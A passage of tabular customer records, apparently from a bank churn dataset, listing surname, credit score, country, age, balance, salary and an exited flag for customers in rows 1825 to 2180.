+1825,15770498,Parker,798,France,Female,37,4,111723.08,1,1,1,83478.12,0 +1826,15678727,Tan,770,Germany,Male,45,4,110765.68,1,1,0,26163.74,1 +1827,15573893,Barry,569,Germany,Male,25,9,173459.45,2,1,1,44381.06,0 +1828,15740104,Tuan,425,Spain,Female,22,7,169649.73,2,0,1,136365,1 +1829,15792649,Patterson,547,Spain,Female,31,9,0,2,0,0,99294.22,0 +1830,15605275,Ofodile,725,Germany,Male,45,8,116917.07,1,0,0,173464.43,1 +1831,15572467,Chandler,506,France,Male,37,5,0,2,1,1,127543.81,0 +1832,15738219,Nash,632,France,Female,36,7,0,2,1,1,52526.65,0 +1833,15600710,Atkinson,620,France,Male,22,0,0,1,1,0,32589.45,0 +1834,15804394,Brenan,663,Germany,Male,32,8,130627.66,1,1,0,47161.25,1 +1835,15694188,Obidimkpa,700,Spain,Female,46,5,56580.95,2,0,1,45424.13,0 +1836,15583718,Terry,696,Germany,Male,38,6,142316.14,1,1,1,8018.49,0 +1837,15802478,Spring,767,Spain,Male,31,6,0,2,1,1,195668,0 +1838,15619343,Mahmood,561,France,Male,56,7,152759,2,1,0,133167.11,1 +1839,15758813,Campbell,350,Germany,Male,39,0,109733.2,2,0,0,123602.11,1 +1840,15761374,Bellucci,706,France,Male,54,9,117444.51,1,1,1,186238.85,0 +1841,15569209,Amaechi,464,Spain,Female,34,5,76001.57,1,1,1,158668.87,0 +1842,15788539,Foxall,501,France,Female,34,3,107747.57,1,1,0,9249.36,0 +1843,15747222,Bentley,745,Spain,Female,35,8,0,2,1,1,116581.1,0 +1844,15769346,Baird,587,France,Female,36,1,134997.49,2,1,0,44688.08,0 +1845,15699634,Howard,667,France,Female,48,2,0,2,1,1,148608.39,0 +1846,15589076,Henry,737,France,Male,36,9,0,1,0,1,188670.9,1 +1847,15812338,Sopuluchukwu,485,Spain,Female,30,7,0,1,1,0,107067.37,0 +1848,15758845,Rocher,590,Spain,Female,37,0,64345.21,1,0,1,61759.33,1 +1849,15685844,White,518,Germany,Female,35,8,141665.63,1,0,1,192776.64,0 +1850,15583090,Komar,581,Spain,Female,29,8,0,2,1,0,46735.19,0 +1851,15587581,Russo,785,Germany,Female,33,5,136624.6,2,1,1,169117.74,0 +1852,15633640,Loewenthal,799,France,Female,52,4,161209.66,1,1,1,89081.41,0 +1853,15573741,Aliyeva,698,Spain,Male,38,10,95010.92,1,1,1,105227.86,0 +1854,15633574,Montes,730,France,Female,41,4,167545.32,1,1,0,128246.81,0 +1855,15711455,Kuo,740,Germany,Female,36,4,109044.6,1,0,0,94554.74,1 +1856,15570601,Cheng,785,France,Female,47,9,122031.55,1,1,1,33823.5,1 +1857,15690925,McIntosh,527,Spain,Female,29,2,27755.97,1,1,0,97468.44,1 +1858,15709338,T'ao,544,France,Female,29,1,118560.55,1,1,1,164137.36,0 +1859,15780746,Tyndall,705,France,Male,61,4,0,2,1,1,191313.7,0 +1860,15681956,Bailey,684,France,Male,34,9,0,2,1,1,65257.57,0 +1861,15778190,Onyekaozulu,639,Spain,Female,28,8,97840.72,1,1,1,178222.77,0 +1862,15786852,Nwachukwu,565,Germany,Female,38,2,158651.29,2,1,1,179445.28,0 +1863,15726494,Romani,481,France,Male,44,9,175303.06,1,1,0,65500.53,1 +1864,15641183,Chin,731,Spain,Male,25,8,96950.21,1,1,0,97877.92,0 +1865,15805312,Bellucci,607,France,Male,45,7,123859.6,1,0,1,113051.57,0 +1866,15636572,Christmas,760,France,Female,32,7,0,2,1,1,105969.05,0 +1867,15632575,Moore,559,France,Female,70,9,0,1,1,1,122996.76,0 +1868,15740164,Genovesi,715,France,Female,33,3,85227.84,1,1,1,68087.15,0 +1869,15574947,Cartwright,656,France,Male,36,8,97786.08,2,0,1,21478.36,0 +1870,15597909,Johnstone,652,Germany,Male,33,7,128135.99,1,1,0,158437.73,0 +1871,15782574,Warner,624,Spain,Male,33,6,0,2,0,0,76551.7,0 +1872,15734999,Stephenson,634,Spain,Male,36,2,85996.19,1,1,0,15887.68,0 +1873,15706593,Ellis,850,Spain,Female,50,10,0,2,1,1,33741.84,0 +1874,15766686,Nebechi,659,Germany,Female,39,1,104502.11,1,1,0,20652.69,0 +1875,15590268,Chu,529,Spain,Male,35,5,95772.97,1,1,1,112781.5,0 +1876,15763055,Onuchukwu,572,Spain,Male,31,5,98108.79,1,0,1,119996.95,0 +1877,15664754,Steele,640,Germany,Male,39,9,131607.28,4,0,1,6981.43,1 +1878,15643630,Quaife,770,Spain,Male,55,9,63127.41,2,1,0,185211.28,1 +1879,15641043,Scott,648,Spain,Male,35,7,0,2,1,1,78436.36,0 +1880,15768095,Yeh,579,France,Male,31,9,0,1,0,1,139048,0 +1881,15811314,Y?,589,Germany,Female,36,9,140355.56,2,1,0,136329.96,0 +1882,15669922,Conti,530,Spain,Female,36,2,0,2,1,1,14721.8,0 +1883,15707114,Holder,831,France,Male,30,2,0,2,0,1,3430.38,0 +1884,15670602,Burgess,790,Germany,Male,24,7,107418.27,1,0,1,160450.21,0 +1885,15713479,Ozuluonye,656,France,Male,35,6,0,2,1,0,1485.27,0 +1886,15663830,De Luca,563,Spain,Male,32,6,0,2,1,1,19720.08,0 +1887,15566958,Li Fonti,667,Spain,Male,39,7,167557.12,1,1,1,41183.02,0 +1888,15680918,Freeman,613,Spain,Male,34,8,117300.02,1,1,0,139410.08,0 +1889,15663921,Pisani,429,France,Male,60,7,0,2,1,1,163691.48,0 +1890,15716324,Ignatieff,665,France,Female,23,9,143672.9,1,1,1,115147.33,0 +1891,15796969,Lahti,731,France,Male,33,4,0,2,1,1,74945.11,0 +1892,15574783,Perkins,584,France,Female,37,1,0,2,1,1,180363.56,0 +1893,15773487,Conway,634,Germany,Female,31,8,76798.92,1,0,0,196021.73,0 +1894,15802486,Hayes,488,France,Male,34,3,0,2,1,1,125979.36,0 +1895,15783398,Rizzo,535,Spain,Female,49,7,115309.75,1,1,0,111421.77,0 +1896,15649418,Krylov,776,France,Female,29,7,178171.04,2,1,1,115818.51,0 +1897,15604588,Li Fonti,850,Spain,Female,38,3,0,2,0,1,179360.76,0 +1898,15735428,Talbot,673,Spain,Female,37,0,0,2,0,0,82351.06,0 +1899,15629078,Matthias,850,Germany,Female,45,5,127258.79,1,1,1,192744.23,1 +1900,15806880,Boyle,627,Spain,Female,30,6,0,1,1,1,113408.47,0 +1901,15754999,Ch'eng,570,France,Female,33,8,0,1,1,1,124641.42,0 +1902,15781034,Mason,796,Spain,Male,67,5,0,2,0,1,54871.02,0 +1903,15622017,Bruno,773,Spain,Female,33,10,0,1,1,1,98820.09,0 +1904,15705885,Smeaton,752,Spain,Male,36,2,0,2,1,1,45570.84,0 +1905,15677382,Miller,625,Spain,Female,69,1,107569.96,1,1,1,182336.45,0 +1906,15566843,Gotch,535,Germany,Male,20,9,134874.4,1,1,1,118825.56,0 +1907,15608387,Fu,786,France,Female,29,4,0,2,1,0,103372.79,0 +1908,15810786,O'Toole,620,France,Female,67,3,0,2,1,1,43486.73,0 +1909,15626983,Ledford,605,Spain,Female,48,6,0,2,1,1,40062.99,0 +1910,15773605,Iadanza,670,Spain,Female,32,3,0,2,1,0,46175.7,0 +1911,15811261,Alaniz,617,Spain,Male,42,0,70105.87,1,1,1,120830.73,0 +1912,15590606,Saunders,595,France,Male,41,9,0,2,1,0,5967.09,0 +1913,15576644,Lin,687,Germany,Female,29,4,78939.15,1,1,0,122134.56,1 +1914,15750264,Pinto,757,Germany,Male,30,6,105128.85,2,1,1,62972.13,0 +1915,15741554,Streeter,746,Spain,Male,31,2,113836.27,1,1,1,174815.54,0 +1916,15769051,Shaw,503,Spain,Male,25,7,0,1,0,1,192841.13,0 +1917,15812198,Chen,543,Germany,Male,48,1,100900.5,1,0,0,33310.72,1 +1918,15699772,Barclay,428,Germany,Female,40,3,129248.11,2,1,0,72876.43,1 +1919,15744105,Kodilinyechukwu,768,France,Female,28,3,109118.05,2,0,1,50911.41,0 +1920,15739858,Otitodilichukwu,618,France,Male,56,7,0,1,1,1,142400.27,1 +1921,15723720,McKenzie,591,France,Female,31,7,0,2,0,1,48778.46,0 +1922,15638355,Woods,658,France,Female,35,5,126397.66,1,0,0,156361.58,1 +1923,15805637,Hsing,625,France,Male,36,9,108546.16,3,1,0,133807.77,1 +1924,15629575,Wheare,717,France,Male,36,2,148061.89,1,1,0,179128.69,1 +1925,15586243,Yobachi,667,France,Male,44,8,122277.87,1,1,1,91810.71,0 +1926,15757931,Fang,804,France,Male,24,3,0,2,1,0,173195.33,0 +1927,15716023,Pearson,693,France,Male,31,1,0,2,0,1,182270.88,0 +1928,15647782,Brown,729,Germany,Male,36,8,152899.24,2,1,0,177130.33,0 +1929,15716609,L?,484,Germany,Male,54,3,134388.11,1,0,0,49954.79,1 +1930,15623791,Padovesi,632,Spain,Female,40,3,109740.62,1,1,0,141896.74,0 +1931,15627262,Soto,536,Germany,Male,23,6,92366.72,2,1,0,120661.71,0 +1932,15652693,Greco,573,France,Female,26,4,129109.02,1,0,0,149814.68,1 +1933,15586993,Giordano,655,Spain,Female,56,5,0,2,1,1,41782.7,0 +1934,15815560,Bogle,666,Germany,Male,74,7,105102.5,1,1,1,46172.47,0 +1935,15584930,Grimmett,726,Germany,Male,30,5,111375.32,2,1,0,2704.09,0 +1936,15799031,Ayers,523,France,Male,39,3,0,2,1,0,6726.53,0 +1937,15810457,Miller,728,Germany,Female,33,9,150412.14,2,1,0,170764.08,0 +1938,15697879,Webb,701,France,Male,30,3,156660.72,2,1,0,45742.42,0 +1939,15594902,Lombardi,518,France,Male,38,3,90957.81,1,0,1,162304.59,0 +1940,15799710,Wei,739,France,Male,37,7,104960.46,1,0,1,80883.82,0 +1941,15659651,Ross,531,Germany,Female,31,7,117052.82,1,1,0,118508.09,1 +1942,15645956,Jideofor,452,Spain,Male,44,3,88915.85,1,1,0,69697.74,0 +1943,15651713,King,684,France,Male,45,6,148071.39,1,1,0,183575.01,0 +1944,15737265,Nwokeocha,728,Germany,Male,39,6,152182.83,1,0,0,161203.6,0 +1945,15687310,Humphries,783,Spain,Male,39,9,0,2,1,0,143752.77,0 +1946,15607347,Olisaemeka,734,France,Male,22,5,130056.23,1,0,0,121894.31,1 +1947,15698321,Yobanna,648,Germany,Male,34,3,95039.73,2,1,1,147055.87,0 +1948,15657812,Ch'iu,688,France,Male,52,1,0,2,1,1,172033.57,0 +1949,15569187,Fleming,680,Spain,Male,35,9,0,2,0,0,143774.06,0 +1950,15681562,Trevisan,516,France,Female,43,2,112773.73,2,1,1,139366.58,0 +1951,15615456,Aleksandrova,680,France,Female,37,10,123806.28,1,1,0,81776.84,1 +1952,15589793,Onwuamaeze,604,France,Male,53,8,144453.75,1,1,0,190998.96,1 +1953,15781884,Knox,624,Germany,Male,27,9,94667.29,2,0,1,4470.52,0 +1954,15675190,Chia,623,France,Male,21,10,0,2,0,1,135851.3,0 +1955,15600734,Townsend,624,Spain,Male,51,5,174397.21,2,1,1,172372.63,0 +1956,15779176,Dike,565,Germany,Female,58,3,108888.24,3,0,1,135875.51,1 +1957,15605286,Moyes,565,France,Male,55,4,118803.35,2,1,1,128124.7,1 +1958,15674922,Beavers,710,France,Male,54,6,171137.62,1,1,1,167023.95,1 +1959,15737506,Tretiakova,645,France,Male,42,6,0,1,0,0,149807.01,0 +1960,15780514,Fuller,707,France,Male,33,8,136678.52,1,1,0,54290.62,0 +1961,15623647,Dellucci,655,Spain,Female,36,1,135515.76,1,1,0,86013.96,0 +1962,15668472,Ritchie,705,Spain,Female,24,5,177799.83,2,0,0,79886.06,0 +1963,15692416,Aikenhead,358,Spain,Female,52,8,143542.36,3,1,0,141959.11,1 +1964,15771139,Douglas,578,Germany,Male,34,8,147487.23,2,1,0,66680.77,0 +1965,15738318,Kung,800,France,Female,40,5,97764.41,1,1,0,98640.15,1 +1966,15772243,MacDonald,612,France,Female,33,9,0,1,0,0,142797.5,1 +1967,15638463,Okwudilichukwu,681,Germany,Female,48,8,139480.18,1,1,1,163581.67,0 +1968,15598088,Ni,559,Spain,Male,25,5,0,2,1,1,163221.22,0 +1969,15693468,Simmons,488,Spain,Female,39,9,140553.46,1,0,0,12440.44,0 +1970,15671930,H?,717,France,Female,36,5,0,2,1,1,145551.6,0 +1971,15762268,Hancock,666,France,Female,41,10,141162.08,1,1,0,50908.48,0 +1972,15780954,Cran,582,Spain,Male,26,4,65848.36,2,1,0,30149.21,0 +1973,15700174,McKay,733,Spain,Female,30,0,83319.28,1,0,0,57769.2,0 +1974,15635728,P'an,693,France,Male,41,4,0,2,0,0,156381.47,0 +1975,15679283,Parkhill,694,France,Female,33,4,129731.64,2,1,0,178123.86,0 +1976,15591386,Golubova,622,France,Female,35,5,0,2,1,0,51112.8,0 +1977,15694192,Nwankwo,598,Spain,Female,38,6,0,2,0,0,173783.38,0 +1978,15585901,Johnson,717,Spain,Male,35,1,0,3,0,0,174770.14,1 +1979,15792329,Mao,494,Germany,Male,37,5,107106.33,2,1,0,172063.09,0 +1980,15635597,Echezonachukwu,644,France,Male,33,8,0,2,1,1,155294.17,0 +1981,15775880,McElyea,554,France,Female,30,9,0,2,1,1,40320.3,0 +1982,15630913,Rosas,476,Spain,Female,69,1,105303.73,1,0,1,134260.34,0 +1983,15756680,Phillips,667,France,Male,28,6,165798.1,1,1,0,147090.9,0 +1984,15587913,Palerma,748,Spain,Female,40,4,0,2,1,0,132368.47,0 +1985,15737605,Morris,531,Spain,Female,45,1,126495.57,2,1,1,164741.5,0 +1986,15627876,Pavlova,719,Spain,Female,47,9,116393.59,1,1,0,63051.32,1 +1987,15772601,Lu,845,Germany,Female,41,2,81733.74,2,0,0,199761.29,0 +1988,15758606,Yamamoto,738,France,Male,54,4,0,1,0,1,55725.04,1 +1989,15657107,Angelo,563,Spain,Female,46,8,106171.68,1,1,0,163145.5,1 +1990,15622454,Zaitsev,695,Spain,Male,28,0,96020.86,1,1,1,57992.49,0 +1991,15775803,Cawker,841,Spain,Male,41,1,0,2,0,1,193093.77,0 +1992,15570859,Froggatt,626,Germany,Male,36,2,181671.16,2,1,1,57531.14,0 +1993,15748381,Gorbunov,613,France,Female,29,6,185709.28,2,1,1,77242.19,0 +1994,15787189,Tai,824,Germany,Male,60,8,134250.17,3,0,0,153046.16,1 +1995,15666055,Rowe,705,France,Female,49,7,0,1,1,0,63405.2,1 +1996,15617648,Mikkelsen,584,France,Female,44,5,95671.75,2,1,1,106564.88,0 +1997,15755678,Kovalyov,534,France,Male,62,2,0,2,0,0,42763.12,1 +1998,15624781,Mbanefo,672,France,Female,34,1,142151.75,2,1,1,168753.34,0 +1999,15779497,Ts'ai,603,France,Male,43,5,127823.93,1,1,1,19483.35,0 +2000,15567399,Enderby,633,Germany,Male,43,3,144164.29,1,1,1,158646.46,0 +2001,15613656,Lombardi,842,France,Male,58,1,63492.94,1,1,1,83172.19,0 +2002,15734311,Hamilton,661,France,Female,27,3,0,2,1,1,76889.79,0 +2003,15657214,Hsia,601,France,Male,74,2,0,2,0,1,51554.58,0 +2004,15799350,Mao,632,France,Male,41,0,106134.46,1,0,1,105570.39,0 +2005,15729970,Ugochukwu,684,Germany,Male,29,8,127269.75,1,0,1,79495.01,0 +2006,15725835,West,785,Germany,Female,32,3,124493.03,2,0,1,52583.79,1 +2007,15745543,Hughes,687,France,Male,39,7,0,2,1,0,26848.25,0 +2008,15727384,Chukwuemeka,705,Germany,Female,43,10,146547.78,1,0,1,10072.55,1 +2009,15666916,Lira,639,France,Male,43,6,99610.92,2,1,0,187296.78,0 +2010,15732917,Li,729,Germany,Male,46,5,117837.43,1,1,0,104016.61,1 +2011,15612050,Castiglione,556,Spain,Female,48,8,168522.37,1,1,1,151310.16,0 +2012,15726267,Paterson,570,France,Male,32,9,117337.54,2,0,1,62810.91,0 +2013,15780124,Blair,841,France,Male,74,9,108131.53,1,0,1,60830.38,0 +2014,15742238,Dellucci,705,Germany,Male,35,4,136496.12,2,1,0,116672.02,0 +2015,15679024,Udinesi,553,France,Male,32,3,116324.53,1,1,0,77304.49,0 +2016,15715297,Yuan,779,Germany,Female,40,2,75470.23,1,1,1,52894.01,0 +2017,15633612,Yuryeva,696,France,Male,28,4,172646.82,1,1,1,116471.43,0 +2018,15602929,Wilson,728,Spain,Female,37,4,0,1,0,0,4539.38,0 +2019,15696703,Dean,691,Germany,Male,27,3,160358.68,2,1,0,142367.72,0 +2020,15756668,Ross,706,France,Male,30,3,98415.37,1,1,1,110520.48,0 +2021,15565779,Kent,627,Germany,Female,30,6,57809.32,1,1,0,188258.49,0 +2022,15795519,Vasiliev,716,Germany,Female,18,3,128743.8,1,0,0,197322.13,0 +2023,15761477,Golibe,501,Germany,Male,24,4,130806.42,2,1,0,80241.14,0 +2024,15731890,Chukwukere,601,France,Male,41,1,123971.16,1,0,1,172814.99,0 +2025,15633043,Fedorova,545,Spain,Female,39,6,0,1,0,0,38410.74,1 +2026,15752953,Chien,634,France,Male,45,9,0,2,0,0,17622.82,0 +2027,15603088,Rossi,451,Spain,Female,23,9,0,2,0,1,48021.71,0 +2028,15606613,Samson,655,France,Female,59,7,0,1,1,0,88958.49,1 +2029,15635939,Fenton,458,France,Female,39,9,0,2,1,0,116343.09,0 +2030,15666043,Mackey,520,France,Male,33,4,156297.58,2,1,1,166102.61,0 +2031,15746190,Payton,624,Spain,Female,28,2,0,2,0,1,104353.26,0 +2032,15591357,Cowger,765,France,Male,51,3,123372.3,1,1,1,115429.32,0 +2033,15658716,Banks,667,Germany,Female,37,5,92171.35,3,1,0,178106.34,1 +2034,15679909,Pugliesi,665,Spain,Male,41,8,0,2,1,0,132152.32,0 +2035,15634262,Fantin,709,Germany,Male,34,4,148375.19,2,1,1,21521.38,0 +2036,15799825,Bentley,583,France,Female,44,8,0,2,1,1,27431.62,0 +2037,15756875,Freeman,782,Spain,Male,34,6,147422.44,1,0,1,42143.61,0 +2038,15678146,Wong,668,Spain,Female,24,7,173962.32,1,0,0,106457.11,1 +2039,15710743,Onwuamaeze,621,France,Male,47,0,0,1,1,1,133831.37,1 +2040,15595831,Shen,579,Germany,Female,64,6,145215.43,1,1,1,164083.72,0 +2041,15626684,Huang,547,France,Female,38,5,167539.97,1,0,1,159207.34,0 +2042,15709846,Yeh,840,France,Female,39,1,94968.97,1,1,0,84487.62,0 +2043,15635459,Shih,667,Germany,Female,27,3,106116.5,2,1,0,3674.71,0 +2044,15642544,Henderson,723,France,Male,34,5,0,2,0,1,12092.03,0 +2045,15566494,Fang,487,France,Male,45,2,0,2,1,0,77475.73,0 +2046,15655238,Dellucci,668,France,Female,31,9,0,2,0,0,41291.73,0 +2047,15733429,Chou,520,Germany,Male,34,8,120018.86,2,1,1,343.38,0 +2048,15814536,Conti,549,France,Male,37,2,112541.54,2,0,0,47432.43,0 +2049,15771702,Roberts,567,France,Female,35,5,166118.45,2,1,0,127827.18,0 +2050,15723008,Lo Duca,720,France,Female,45,1,102882.4,2,1,1,35633.15,1 +2051,15797160,Glover,492,France,Female,49,8,0,1,1,1,182865.09,1 +2052,15792222,Johnstone,712,France,Female,37,1,106881.5,2,0,0,169386.81,0 +2053,15644765,Ashton,689,Germany,Male,26,4,120727.97,1,0,1,149073.88,0 +2054,15610686,Melton,850,France,Male,63,8,169832.57,1,0,0,184107.26,1 +2055,15730868,Marshall,747,France,Male,41,5,0,2,1,1,22750.17,0 +2056,15705991,Kenenna,469,Germany,Male,38,9,113599.42,1,0,0,11950.29,0 +2057,15577078,Zakharov,539,Spain,Male,38,6,0,1,1,1,152880.07,1 +2058,15679550,Chukwualuka,743,France,Male,32,9,0,2,1,0,175252.78,0 +2059,15787655,Chu,707,France,Male,47,3,0,2,1,0,174303.29,0 +2060,15668081,Capon,581,Spain,Female,50,4,0,2,1,1,80701.72,0 +2061,15747980,Cattaneo,737,Spain,Male,38,6,146282.79,2,1,0,198516.2,0 +2062,15710295,Patrick,445,Germany,Female,38,6,119413.62,2,1,0,175756.36,0 +2063,15724443,Taylor,703,Germany,Female,29,3,122084.63,1,0,1,82824.08,0 +2064,15571305,Stephenson,588,Germany,Female,35,1,103060.63,1,1,0,179866.01,1 +2065,15569503,Yeh,765,France,Male,44,6,0,2,1,1,159899.97,0 +2066,15581840,DeRose,626,France,Male,33,8,0,2,1,0,138504.28,0 +2067,15772262,Vavilov,545,Germany,Male,37,9,110483.86,1,1,1,127394.67,0 +2068,15767794,Browne,744,France,Male,31,9,120718.28,1,1,1,58961.49,0 +2069,15629338,Collingridge de Tourcey,658,Spain,Female,31,2,36566.96,1,1,0,103644.98,1 +2070,15790379,Rowe,629,Germany,Male,28,8,108601,1,1,1,119647.7,0 +2071,15750684,Jibunoh,719,France,Female,42,4,0,1,1,0,28465.86,1 +2072,15697214,Korovin,686,Spain,Female,36,5,0,2,1,1,152979.14,0 +2073,15711015,Hammonds,743,France,Male,36,4,0,2,1,1,190911.02,0 +2074,15573309,Ward,626,Spain,Female,48,2,0,2,1,1,95794.98,0 +2075,15805303,Olisanugo,661,Germany,Male,44,1,141136.62,1,1,0,189742.78,1 +2076,15741385,Gallop,710,Germany,Male,45,9,108231.37,1,1,1,188574.08,0 +2077,15780254,Gartrell,654,France,Male,40,6,0,1,0,0,183872.88,1 +2078,15744843,K'ung,569,Spain,Female,34,6,144855.34,1,0,0,196555.32,0 +2079,15815626,Oluchi,640,France,Male,63,2,68432.45,2,1,1,112503.24,1 +2080,15784736,Jamieson,562,France,Male,45,6,136855.24,1,1,0,46864,0 +2081,15813412,Barlow,721,France,Female,55,3,44020.89,1,1,0,65864.4,1 +2082,15809143,White,456,Germany,Male,32,9,133060.63,1,1,1,125167.92,0 +2083,15617617,Stewart,811,Spain,Male,39,7,0,2,1,1,177519.39,0 +2084,15779738,Buccho,534,France,Male,24,1,0,1,1,1,169653.32,0 +2085,15668669,Benson,423,France,Female,36,5,97665.61,1,1,0,118372.55,1 +2086,15687477,Thompson,594,Germany,Male,28,5,185013.02,1,1,0,16481.12,0 +2087,15578908,Todd,725,Spain,Female,32,0,0,2,1,1,138525.19,0 +2088,15687658,Burgin,716,France,Female,52,7,65971.61,2,1,0,14608,1 +2089,15615020,Nnaife,595,Germany,Female,41,9,150463.11,2,0,1,81548.38,0 +2090,15608886,Okwudiliolisa,679,France,Female,33,1,0,2,0,0,69608.48,0 +2091,15602551,Johnson,667,Spain,Male,39,9,0,2,1,0,68873.8,0 +2092,15672945,Parkes,661,France,Female,37,5,136425.18,1,1,0,81102.81,0 +2093,15757408,Lo,655,Spain,Male,38,3,250898.09,3,0,1,81054,1 +2094,15806132,Martin,555,France,Male,55,4,146798.81,1,1,1,74149.77,0 +2095,15813022,Kapustina,531,Spain,Male,70,1,0,2,0,0,99503.19,0 +2096,15673578,Page,611,Germany,Female,40,7,128486.91,2,1,0,10109.47,0 +2097,15757916,Amaechi,600,France,Female,38,9,0,2,1,1,58855.85,0 +2098,15689168,Munro,531,Spain,Male,37,1,143407.29,2,0,1,84402.46,0 +2099,15769216,Panicucci,601,France,Female,43,2,0,1,1,0,49713.87,1 +2100,15593295,Greathouse,548,France,Male,57,6,76165.65,1,1,1,133537.53,0 +2101,15804814,Ts'ui,759,France,Male,40,4,0,2,1,0,124615.59,0 +2102,15778934,Napolitani,678,Spain,Female,49,8,0,2,0,1,98090.69,0 +2103,15802351,Beers,755,Germany,Female,33,6,90560.3,2,1,1,42607.69,0 +2104,15630241,Tretyakova,594,France,Male,61,3,62391.22,1,1,1,192434.11,0 +2105,15719561,Lin,768,France,Male,42,5,0,3,0,0,60686.4,0 +2106,15615096,Costa,492,France,Female,31,7,0,2,1,1,49463.44,0 +2107,15659931,Ibezimako,637,Germany,Female,55,1,123378.2,1,1,0,81431.99,1 +2108,15714586,Marcelo,646,Spain,Female,42,3,99836.47,1,0,1,22909.56,0 +2109,15634949,Hay,593,Germany,Male,74,5,161434.36,2,1,1,65532.17,0 +2110,15589224,Moore,596,Spain,Male,41,5,0,2,0,1,141053.85,0 +2111,15795990,Lumholtz,722,Germany,Female,48,10,138311.76,1,1,1,3472.63,1 +2112,15603216,Simpson,642,France,Male,25,7,0,2,1,0,102083.78,0 +2113,15631201,Hill,472,Spain,Female,28,4,0,2,1,0,1801.77,0 +2114,15686255,Mouzon,738,Germany,Male,35,6,101744.84,1,0,0,85185.44,0 +2115,15746594,Wu,732,Spain,Male,33,8,0,1,1,0,119882.7,0 +2116,15718893,Pirozzi,404,Germany,Female,54,4,125456.07,1,1,0,83715.66,1 +2117,15671609,Ibeabuchi,701,France,Male,44,7,0,2,1,0,23425.78,0 +2118,15652540,Garnsey,683,France,Male,31,2,0,2,0,1,77326.78,0 +2119,15774857,Synnot,460,France,Female,27,7,0,2,1,0,156150.08,1 +2120,15791836,Wildman,690,France,Male,29,5,0,2,1,0,108577.97,0 +2121,15651554,Anenechukwu,618,Germany,Female,54,4,118449.21,1,1,1,133573.29,1 +2122,15583576,Tai,671,France,Male,30,2,0,1,0,1,102057.86,0 +2123,15732740,Plant,765,Spain,Female,32,9,178095.55,1,0,0,47247.56,0 +2124,15723320,Azubuike,651,Germany,Female,25,2,109175.14,2,1,0,114566.47,0 +2125,15603851,Galkin,704,France,Male,32,7,127785.17,4,0,0,184464.7,1 +2126,15777923,Johnston,544,France,Female,45,6,0,2,0,1,151401.33,0 +2127,15735719,Babbage,790,France,Female,40,9,0,2,1,1,70607.1,0 +2128,15703482,Walker,710,Germany,Male,34,9,134260.36,2,1,0,147074.67,0 +2129,15605835,Rice,743,France,Male,37,8,69143.91,2,0,1,105780.18,0 +2130,15664881,Norton,702,France,Male,34,4,100054.77,1,1,0,109496.45,0 +2131,15757568,Bogolyubov,704,France,Female,45,6,0,1,1,1,137739.45,0 +2132,15792660,Gibbons,614,France,Male,38,2,116248.88,1,1,0,105140.92,0 +2133,15599722,Chia,609,Spain,Female,43,6,86053.52,2,1,1,113276.46,1 +2134,15726354,Smith,688,France,Female,32,6,123157.95,1,1,0,172531.23,0 +2135,15610355,Hunter,713,France,Male,44,1,63438.91,1,1,0,64375.4,0 +2136,15704284,Ekechukwu,736,Germany,Male,57,9,95295.39,1,1,0,28434.44,1 +2137,15621893,Bellucci,727,France,Male,18,4,133550.67,1,1,1,46941.41,0 +2138,15588219,Ford,850,France,Female,38,1,106871.81,2,1,0,29333.01,0 +2139,15688619,Scott,718,Spain,Male,45,3,105266.32,2,1,1,193724.51,0 +2140,15765518,Gregson,643,France,Female,51,2,105229.53,1,1,0,34967.75,1 +2141,15616931,Moore,653,France,Male,41,8,102768.42,1,1,0,55663.85,0 +2142,15758372,Wallace,674,France,Male,18,7,0,2,1,1,55753.12,1 +2143,15782591,Cook,690,France,Male,35,6,112689.95,1,1,0,176962.31,0 +2144,15612109,Speth,819,France,Male,38,9,122334.26,2,1,1,181507.44,0 +2145,15613712,Boag,634,Spain,Male,34,1,0,2,1,0,61995.57,0 +2146,15639322,Grave,633,Spain,Male,33,4,137847.41,2,1,0,98349.13,0 +2147,15594349,Streeten,850,France,Male,49,5,122486.47,1,0,1,59748.19,0 +2148,15574167,Fox,665,France,Male,33,2,101286.11,1,1,1,159840.51,0 +2149,15811842,Artemyeva,630,Spain,Male,26,7,0,2,1,1,6656.64,0 +2150,15648794,Giordano,836,Spain,Male,57,4,101247.06,1,1,0,37141.62,1 +2151,15771211,Perkins,668,France,Male,38,10,86977.96,1,0,1,37094.75,0 +2152,15588614,Walton,753,France,Male,57,7,0,1,1,0,159475.08,1 +2153,15630698,Hay,745,France,Female,55,9,110123.59,1,0,1,51548.14,1 +2154,15694200,Gardner,693,France,Male,36,8,178111.82,1,0,0,58719.63,1 +2155,15721426,Milne,606,Germany,Male,65,10,126306.64,3,0,0,7861.68,1 +2156,15725997,She,660,France,Female,35,6,100768.77,1,1,0,19199.61,0 +2157,15762138,Hu,608,France,Male,42,5,0,2,1,0,178504.29,0 +2158,15750649,Uwakwe,744,France,Female,44,3,0,2,1,1,189016.14,0 +2159,15685706,Bird,731,France,Female,40,7,118991.79,1,1,1,156048.64,0 +2160,15641835,Anderson,683,France,Male,72,3,140997.26,1,0,1,52876.41,0 +2161,15586821,Bellew,727,France,Male,28,5,0,2,0,1,19653.08,0 +2162,15569678,Cocci,561,Germany,Male,32,6,166824.59,1,1,0,139451.98,0 +2163,15793842,Krichauff,700,France,Female,34,2,76322.69,1,1,0,128136.29,0 +2164,15667554,Cameron,605,France,Male,35,6,0,2,1,1,45206.57,0 +2165,15794479,Becker,767,Spain,Male,77,8,149083.7,1,1,1,190146.83,0 +2166,15585041,Ainsworth,511,France,Male,33,7,0,2,0,1,158313.87,0 +2167,15780650,Biryukov,667,France,Male,40,9,0,1,1,1,96670.2,0 +2168,15780846,Redding,787,France,Male,33,1,126588.81,2,0,1,62163.53,0 +2169,15805260,Wood,705,Germany,Female,56,2,143249.67,1,1,0,88428.41,1 +2170,15621629,Scott,773,Germany,Male,43,8,81844.91,2,1,1,35908.46,0 +2171,15662151,Gould,554,France,Male,40,4,0,1,0,1,168780.04,0 +2172,15747174,Hao,526,Germany,Male,58,9,190298.89,2,1,1,191263.76,0 +2173,15651585,Power,661,Germany,Male,35,2,117212.18,1,1,1,83052.03,0 +2174,15649738,White,698,France,Female,46,0,0,2,1,1,125962.02,0 +2175,15633108,Thorpe,646,France,Male,26,4,139848.17,1,1,0,164696.27,0 +2176,15769254,Tuan,757,Germany,Female,34,9,101861.36,2,0,0,187011.96,0 +2177,15704746,Inman,699,Spain,Male,35,2,167455.66,2,1,1,55324.49,0 +2178,15637644,Hanson,667,France,Female,24,4,0,2,0,1,34335.55,0 +2179,15609562,MacDonald,774,Spain,Female,43,1,116360.07,1,1,0,17004.14,0 +2180,15787459,Parkes,745,Spain,Male,40,3,88466.82,1,0,0,116331.42,0 